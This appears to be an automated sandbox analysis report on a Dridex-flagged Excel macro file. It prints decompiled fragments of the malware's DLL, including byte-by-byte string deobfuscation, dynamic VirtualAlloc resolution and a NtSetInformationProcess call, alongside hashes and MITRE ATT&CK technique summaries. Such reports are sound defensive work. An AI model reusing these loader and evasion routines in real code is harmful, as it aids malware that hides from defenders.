nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtSetInformationProcess.NTDLL(000000FF,00000022,00000002,00000004), ref: 001CBB1D

Strings

S, xrefs: 001CBA89
., xrefs: 001CBA75
l, xrefs: 001CBA7D
l, xrefs: 001CBA81
e, xrefs: 001CBA71
e, xrefs: 001CBAD5
e, xrefs: 001CBA8D
s, xrefs: 001CBA5D
d, xrefs: 001CBA79
D, xrefs: 001CBAB1
s, xrefs: 001CBADD
P, xrefs: 001CBA95
r, xrefs: 001CBA99
n, xrefs: 001CBAD1
h, xrefs: 001CBA61
s, xrefs: 001CBAAD
c, xrefs: 001CBAA1
ntdll.dll, xrefs: 001CBAE5, 001CBAE8
o, xrefs: 001CBA69
A, xrefs: 001CBABD
e, xrefs: 001CBAA5
r, xrefs: 001CBA6D
s, xrefs: 001CBAA9
t, xrefs: 001CBA91
s, xrefs: 001CBAD9
w, xrefs: 001CBAC1
NtSetInformationProcess, xrefs: 001CBAF7, 001CBAFA
i, xrefs: 001CBAB9
c, xrefs: 001CBA65
e, xrefs: 001CBACD
p, xrefs: 001CBAB5
r, xrefs: 001CBAC9
o, xrefs: 001CBA9D
a, xrefs: 001CBAC5

Memory Dump Source

Source File: 00000004.00000002.2374283182.0000000000190000.00000040.00000001.sdmp, Offset: 00190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_190000_regsvr32.jbxd

Similarity

API ID: InformationProcess
String ID: .$A$D$NtSetInformationProcess$P$S$a$c$c$d$e$e$e$e$e$h$i$l$l$n$ntdll.dll$o$o$p$r$r$r$s$s$s$s$s$t$w
API String ID: 1801817001-3052210031
Opcode ID: 7a93e4dca30af2595c83838b26e0c91876fe79106ecb4432ae3e537336c9e689
Instruction ID: 44a873a14d9467e92d6e9e83b33596a27c54f155b347de73ed5b38a8b6f19776
Opcode Fuzzy Hash: 7a93e4dca30af2595c83838b26e0c91876fe79106ecb4432ae3e537336c9e689
Instruction Fuzzy Hash: 4C416C20D0C3C8D9EB12C6E8D4587DDBFB25B22748F18419895882F296C7FF1669C7B6

Uniqueness

Uniqueness Score: -1.00%

Function 10002210, Relevance: 3.9, APIs: 1, Strings: 1, Instructions: 361
registryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 58%

			E10002210() {
				long _v8;
				char* _v12;
				intOrPtr _v16;
				long _t374;
				intOrPtr _t536;

				_v16 = RegOpenKeyA;
				_v12 = "interface\\{b196b287-bab4-101a-b69c-00aa00341d07}";
				 *_v12 = 0x9c;
				 *_v12 = ( *_v12 & 0x000000ff) - 0x33;
				_v12[1] = 0xa1;
				_t9 =  &(_v12[1]); // 0x7265746e
				_v12[1] = ( *_t9 & 0x000000ff) - 0x33;
				_v12[2] = 0xa7;
				_t15 =  &(_v12[2]); // 0x66726574
				_v12[2] = ( *_t15 & 0x000000ff) - 0x33;
				_v12[3] = 0x98;
				_t21 =  &(_v12[3]); // 0x61667265
				_v12[3] = ( *_t21 & 0x000000ff) - 0x33;
				_v12[4] = 0xa5;
				_t27 =  &(_v12[4]); // 0x63616672
				_v12[4] = ( *_t27 & 0x000000ff) - 0x33;
				_v12[5] = 0x99;
				_t33 =  &(_v12[5]); // 0x65636166
				_v12[5] = ( *_t33 & 0x000000ff) - 0x33;
				_v12[6] = 0x94;
				_t39 =  &(_v12[6]); // 0x5c656361
				_v12[6] = ( *_t39 & 0x000000ff) - 0x33;
				_v12[7] = 0x96;
				_t45 =  &(_v12[7]); // 0x7b5c6563
				_v12[7] = ( *_t45 & 0x000000ff) - 0x33;
				_v12[8] = 0x98;
				_t51 =  &(_v12[8]); // 0x627b5c65
				_v12[8] = ( *_t51 & 0x000000ff) - 0x33;
				_v12[9] = 0x8f;
				_t57 =  &(_v12[9]); // 0x31627b5c
				_v12[9] = ( *_t57 & 0x000000ff) - 0x33;
				_v12[0xa] = 0xae;
				_t63 =  &(_v12[0xa]); // 0x3931627b
				_v12[0xa] = ( *_t63 & 0x000000ff) - 0x33;
				_v12[0xb] = 0x95;
				_t69 =  &(_v12[0xb]); // 0x36393162
				_v12[0xb] = ( *_t69 & 0x000000ff) - 0x33;
				_v12[0xc] = 0x64;
				_t75 =  &(_v12[0xc]); // 0x62363931
				_v12[0xc] = ( *_t75 & 0x000000ff) - 0x33;
				_v12[0xd] = 0x6c;
				_t81 =  &(_v12[0xd]); // 0x32623639
				_v12[0xd] = ( *_t81 & 0x000000ff) - 0x33;
				_v12[0xe] = 0x69;
				_t87 =  &(_v12[0xe]); // 0x38326236
				_v12[0xe] = ( *_t87 & 0x000000ff) - 0x33;
				_v12[0xf] = 0x95;
				_t93 =  &(_v12[0xf]); // 0x37383262
				_v12[0xf] = ( *_t93 & 0x000000ff) - 0x33;
				_v12[0x10] = 0x65;
				_v12[0x10] = (_v12[0x10] & 0x000000ff) - 0x33;
				_v12[0x11] = 0x6b;
				_v12[0x11] = (_v12[0x11] & 0x000000ff) - 0x33;
				_v12[0x12] = 0x6a;
				_v12[0x12] = (_v12[0x12] & 0x000000ff) - 0x33;
				_v12[0x13] = 0x60;
				_v12[0x13] = (_v12[0x13] & 0x000000ff) - 0x33;
				_v12[0x14] = 0x95;
				_v12[0x14] = (_v12[0x14] & 0x000000ff) - 0x33;
				_v12[0x15] = 0x94;
				_v12[0x15] = (_v12[0x15] & 0x000000ff) - 0x33;
				_v12[0x16] = 0x95;
				_v12[0x16] = (_v12[0x16] & 0x000000ff) - 0x33;
				_v12[0x17] = 0x67;
				_v12[0x17] = (_v12[0x17] & 0x000000ff) - 0x33;
				_v12[0x18] = 0x60;
				_v12[0x18] = (_v12[0x18] & 0x000000ff) - 0x33;
				_v12[0x19] = 0x64;
				_v12[0x19] = (_v12[0x19] & 0x000000ff) - 0x33;
				_v12[0x1a] = 0x63;
				_v12[0x1a] = (_v12[0x1a] & 0x000000ff) - 0x33;
				_v12[0x1b] = 0x64;
				_v12[0x1b] = (_v12[0x1b] & 0x000000ff) - 0x33;
				_v12[0x1c] = 0x94;
				_v12[0x1c] = (_v12[0x1c] & 0x000000ff) - 0x33;
				_v12[0x1d] = 0x60;
				_v12[0x1d] = (_v12[0x1d] & 0x000000ff) - 0x33;
				_v12[0x1e] = 0x95;
				_v12[0x1e] = (_v12[0x1e] & 0x000000ff) - 0x33;
				_v12[0x1f] = 0x69;
				_v12[0x1f] = (_v12[0x1f] & 0x000000ff) - 0x33;
				_v12[0x20] = 0x6c;
				_v12[0x20] = (_v12[0x20] & 0x000000ff) - 0x33;
				_v12[0x21] = 0x96;
				_v12[0x21] = (_v12[0x21] & 0x000000ff) - 0x33;
				_v12[0x22] = 0x60;
				_v12[0x22] = (_v12[0x22] & 0x000000ff) - 0x33;
				_v12[0x23] = 0x63;
				_v12[0x23] = (_v12[0x23] & 0x000000ff) - 0x33;
				_v12[0x24] = 0x63;
				_v12[0x24] = (_v12[0x24] & 0x000000ff) - 0x33;
				_v12[0x25] = 0x94;
				_v12[0x25] = (_v12[0x25] & 0x000000ff) - 0x33;
				_v12[0x26] = 0x94;
				_v12[0x26] = (_v12[0x26] & 0x000000ff) - 0x33;
				_v12[0x27] = 0x63;
				_v12[0x27] = (_v12[0x27] & 0x000000ff) - 0x33;
				_v12[0x28] = 0x63;
				_v12[0x28] = (_v12[0x28] & 0x000000ff) - 0x33;
				_v12[0x29] = 0x66;
				_v12[0x29] = (_v12[0x29] & 0x000000ff) - 0x33;
				_v12[0x2a] = 0x67;
				_v12[0x2a] = (_v12[0x2a] & 0x000000ff) - 0x33;
				_v12[0x2b] = 0x64;
				_v12[0x2b] = (_v12[0x2b] & 0x000000ff) - 0x33;
				_v12[0x2c] = 0x97;
				_v12[0x2c] = (_v12[0x2c] & 0x000000ff) - 0x33;
				_v12[0x2d] = 0x63;
				_v12[0x2d] = (_v12[0x2d] & 0x000000ff) - 0x33;
				_v12[0x2e] = 0x6a;
				_v12[0x2e] = (_v12[0x2e] & 0x000000ff) - 0x33;
				_v12[0x2f] = 0xb0;
				_v12[0x2f] = (_v12[0x2f] & 0x000000ff) - 0x33;
				E100010E0(_v12);
				_t536 =  *0x10008000; // 0x80074ea8
				_t374 = RegOpenKeyA(_t536 - 0x74ea8, _v12, 0x10009b38);
				_v8 = _t374;
				if(_v8 != 0) {
					while(1) {
						_t374 = 1;
						if(1 == 0) {
							goto L4;
						}
					}
				}
				L4:
				return _t374;
			}

0x1000221b
0x1000221e
0x10002228
0x10002237
0x1000223c
0x10002243
0x1000224d
0x10002253
0x1000225a
0x10002264
0x1000226a
0x10002271
0x1000227b
0x10002281
0x10002288
0x10002292
0x10002298
0x1000229f
0x100022a9
0x100022af
0x100022b6
0x100022c0
0x100022c6
0x100022cd
0x100022d7
0x100022dd
0x100022e4
0x100022ee
0x100022f4
0x100022fb
0x10002305
0x1000230b
0x10002312
0x1000231c
0x10002322
0x10002329
0x10002333
0x10002339
0x10002340
0x1000234a
0x10002350
0x10002357
0x10002361
0x10002367
0x1000236e
0x10002378
0x1000237e
0x10002385
0x1000238f
0x10002395
0x100023a6
0x100023ac
0x100023bd
0x100023c3
0x100023d4
0x100023da
0x100023eb
0x100023f1
0x10002402
0x10002408
0x10002419
0x1000241f
0x10002430
0x10002436
0x10002447
0x1000244d
0x1000245e
0x10002464
0x10002475
0x1000247b
0x1000248c
0x10002492
0x100024a3
0x100024a9
0x100024ba
0x100024c0
0x100024d1
0x100024d7
0x100024e8
0x100024ee
0x100024ff
0x10002505
0x10002516
0x1000251c
0x1000252d
0x10002533
0x10002544
0x1000254a
0x1000255b
0x10002561
0x10002572
0x10002578
0x10002589
0x1000258f
0x100025a0
0x100025a6
0x100025b7
0x100025bd
0x100025ce
0x100025d4
0x100025e5
0x100025eb
0x100025fc
0x10002602
0x10002613
0x10002619
0x1000262a
0x10002630
0x10002641
0x10002647
0x10002658
0x1000265e
0x1000266f
0x10002672
0x10002682
0x1000268f
0x10002692
0x10002699
0x1000269b
0x1000269b
0x100026a2
0x00000000
0x00000000
0x100026a4
0x1000269b
0x100026a9
0x100026a9

APIs

RegOpenKeyA.ADVAPI32(80000000,00000065,10009B38), ref: 1000268F

Strings

interface\{b196b287-bab4-101a-b69c-00aa00341d07}, xrefs: 1000221E

Memory Dump Source

Source File: 00000004.00000002.2381375737.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.2381372611.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2381379655.0000000010004000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2381383057.0000000010008000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2381386345.000000001000A000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_regsvr32.jbxd

Similarity

API ID: Open
String ID: interface\{b196b287-bab4-101a-b69c-00aa00341d07}
API String ID: 71445658-3721302963
Opcode ID: a18c97af28e285813de89cfeb4bd9988098e7b77b0fc30533ad912052d59e08e
Instruction ID: c6951cc353b31ba87cd3a8c2a3eed89061f0309c9faa39509d095e1b46e835f6
Opcode Fuzzy Hash: a18c97af28e285813de89cfeb4bd9988098e7b77b0fc30533ad912052d59e08e
Instruction Fuzzy Hash: F212FB35A083C99FCB05CFA8C19499CFFB26F56220F1882C9D4D56B387C671D696CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001CB1B0, Relevance: 3.0, APIs: 1, Strings: 1, Instructions: 46
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 001CB234

Strings

VirtualAlloc, xrefs: 001CB219, 001CB21C

Memory Dump Source

Source File: 00000004.00000002.2374283182.0000000000190000.00000040.00000001.sdmp, Offset: 00190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_190000_regsvr32.jbxd

Similarity

API ID: AllocVirtual
String ID: VirtualAlloc
API String ID: 4275171209-164498762
Opcode ID: 28e58905486cc54ceb0c66d9f59e735f8340f5baddf7968a63ebffb8cdc22c52
Instruction ID: 53dbf33a4d4f51fbbe5c4299d383b1b93c92d7b6f75d393f9becfda81b94ed98
Opcode Fuzzy Hash: 28e58905486cc54ceb0c66d9f59e735f8340f5baddf7968a63ebffb8cdc22c52
Instruction Fuzzy Hash: 69114260D082CDDEEF01D7E8944ABEFBFB55F21704F044098D5446B282D7BA575887B6

Uniqueness

Uniqueness Score: -1.00%

Non-executed Functions

Function 10002140, Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 39
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 20%

			E10002140() {
				intOrPtr _t1;

				_t1 =  *0x10009ac0; // 0x3c400
				 *0x10009b2c = _t1;
				 *0x10009b30 = GetProcAddress(LoadLibraryA("kernel32"), "VirtualAlloc");
				_push(0x40);
				_push(0x3000);
				_push( *0x10009b2c);
				_push( *0x10009b0c);
				_push( *0x10009b30);
				_push(E100021B7);
				_push( *0x10009b30);
				return 0x40;
			}

0x10002143
0x10002148
0x10002164
0x1000216e
0x10002174
0x10002175
0x1000217b
0x10002181
0x100021b0
0x100021b5
0x100021b6

APIs

LoadLibraryA.KERNEL32(kernel32), ref: 10002157
GetProcAddress.KERNEL32(00000000,?,1000271F,00001EB1), ref: 1000215E

Strings

VirtualAlloc, xrefs: 1000214D
kernel32, xrefs: 10002152

Memory Dump Source

Source File: 00000004.00000002.2381375737.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000004.00000002.2381372611.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2381379655.0000000010004000.00000002.00020000.sdmp Download File
Associated: 00000004.00000002.2381383057.0000000010008000.00000004.00020000.sdmp Download File
Associated: 00000004.00000002.2381386345.000000001000A000.00000002.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_10000000_regsvr32.jbxd

Similarity

API ID: AddressLibraryLoadProc
String ID: VirtualAlloc$kernel32
API String ID: 2574300362-401495515
Opcode ID: ca5a060d124779540984de058d4df12cdfc5e79f77677895b9c505c6431e535c
Instruction ID: 19a47b1fde89a997c736c432cacfc160cd944b27a30909c0373f33c784965bd1
Opcode Fuzzy Hash: ca5a060d124779540984de058d4df12cdfc5e79f77677895b9c505c6431e535c
Instruction Fuzzy Hash: 55E01AF9110220AFFB45DB68ED94E613BA9F74C2E0B008128FA81D32A8D7316A00CB14

Uniqueness

Uniqueness Score: -1.00%

Function 001CB5D0, Relevance: .1, Instructions: 83COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2374283182.0000000000190000.00000040.00000001.sdmp, Offset: 00190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_190000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: cf548487ecdd725beb7112b753b83674412ce8520bb0d827a04225be527046e3
Instruction ID: 01a16a992aa27f139dc3de549b3b3ed0782dadb7dc03dc3902dd4cd73c3fed64
Opcode Fuzzy Hash: cf548487ecdd725beb7112b753b83674412ce8520bb0d827a04225be527046e3
Instruction Fuzzy Hash: A131E570A0812ACBCB58CF44C1D6BBEB7B2BF64711F64815DD806AB290D374DE81DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 001CB6E0, Relevance: .0, Instructions: 44COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2374283182.0000000000190000.00000040.00000001.sdmp, Offset: 00190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_190000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 5b42eeaf083fbd2ff8aff7e5200a30b42e2d1e1024dde0e63d92a7892f32080c
Instruction ID: 5aa2b4a5cfef8399f5dd835625640aadeba74718b928368551ac064cfc59d1e2
Opcode Fuzzy Hash: 5b42eeaf083fbd2ff8aff7e5200a30b42e2d1e1024dde0e63d92a7892f32080c
Instruction Fuzzy Hash: 5D115578A042489FCB48CF94C191A99BBB1EB98310F218599DC49D7790D731EE85DA50

Uniqueness

Uniqueness Score: -1.00%

Function 001A88DD, Relevance: .0, Instructions: 40COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000004.00000002.2374283182.0000000000190000.00000040.00000001.sdmp, Offset: 00190000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_4_2_190000_regsvr32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: dae8bae5d266d933eed9766570152b5a2e541bf3027ad2889f23a334d90eea72
Instruction ID: 6ef0d888859afa12184ae60a6d7f6f0e1a06aff3753ecda0266381af1bf05dd8
Opcode Fuzzy Hash: dae8bae5d266d933eed9766570152b5a2e541bf3027ad2889f23a334d90eea72
Instruction Fuzzy Hash: 07012BB5408BE58FC7029F34C80459A3B20AE872307594399E5B11F2E6CF259817CB95

Uniqueness

Uniqueness Score: -1.00%

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Anti-virus, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Regsvr32.exe to proxy execution of malicious code. Regsvr32.exe is a command-line program used to register and unregister object linking and embedding controls, including dynamic link libraries (DLLs), on Windows systems. Regsvr32.exe is also a Microsoft signed binary.
Tactics:	Defense Evasion
Data Sources:	Loaded DLLs, Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the Windows Registry to gather information about the system, configuration, and installed software.
Tactics:	Discovery
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, File monitoring, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port paring that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Analysis Report INV8073565781-20210111319595.xlsm

Overview

General Information

Detection

Signatures

Classification

Startup

Malware Configuration

Threatname: Dridex

Yara Overview

Sigma Overview

System Summary:

Signature Overview

AV Detection:

Compliance:

Software Vulnerabilities:

Networking:

E-Banking Fraud:

System Summary:

Data Obfuscation:

Persistence and Installation Behavior:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Lowering of HIPS / PFW / Operating System Security Settings:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static OLE Info

General

OLE File "/opt/package/joesandbox/database/analysis/338240/sample/INV8073565781-20210111319595.xlsm"

Indicators

Summary

Document Summary

Streams with VBA

VBA File Name: Module1.bas, Stream Size: 3215

General

VBA Code Keywords

VBA Code

VBA File Name: Sheet1.cls, Stream Size: 1639

General

VBA Code Keywords

VBA Code

VBA File Name: ThisWorkbook.cls, Stream Size: 999

General